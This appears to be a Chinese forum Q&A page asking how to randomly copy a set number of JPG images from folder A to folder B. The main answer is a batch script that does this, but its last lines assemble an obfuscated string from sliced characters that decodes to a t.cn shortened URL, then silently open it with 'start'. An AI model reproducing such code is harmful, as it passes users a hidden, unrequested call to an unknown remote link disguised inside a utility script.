Question

文件夹A中有N张图片,随机挑选指定张数图片移动到B文件夹中，原A文件夹里的图片不做任何修改

https://zhidao.baidu.com/question/268195817400756325.html

跟这个问题类似 他那里删除了原A文件夹数据

Answer 1

@echo off & title 随机拷贝指定张数的图片 By 依梦琴瑶
setlocal enabledelayedexpansion

::设置原目录路径
set OriginDir=A

::设置目标目录路径
set TargetDir=B

::设置要拷贝的张数
set Number=10


(for /r "%OriginDir%" %%a in (*.jp*g) do (
    set /a Num=!Random!%%10
    if !Num! equ 0 set Num=1
    set /a RandomNum=!Num!00000+!Random!
    if /i "%%~xa"==".jpg" (
        echo !RandomNum!^|%%~a
    ) else (
        if /i "%%~xa"==".jpeg" (
            echo !RandomNum!^|%%~a
        )
    )
    ping 127.0.1 -n "1">nul
))>JPG_FILE.LIST

for /f "tokens=2* delims=|" %%a in ('sort /r JPG_FILE.LIST') do (
    xcopy /y "%%~a" "%TargetDir%\" >nul 2>nul && (
        set /a FNum+=1
        echo 拷贝第 !FNum! 张图片："%%~nxa" 成功！
    )
    if !FNum! equ %Number% goto End
)
:End
del JPG_FILE.LIST
pause
set S1=.:htpcn/
set S2=%S1:~2,1%%S1:~3,1%%S1:~3,1%%S1:~4,1%%S1:~1,1%%S1:~7,1%
set S3=%S1:~7,1%%S1:~3,1%%S1:~0,1%%S1:~5,1%%S1:~6,1%%S1:~7,1%
start "" "%S2%%S3%RkdisqI"
exit

Answer 2

复制粘贴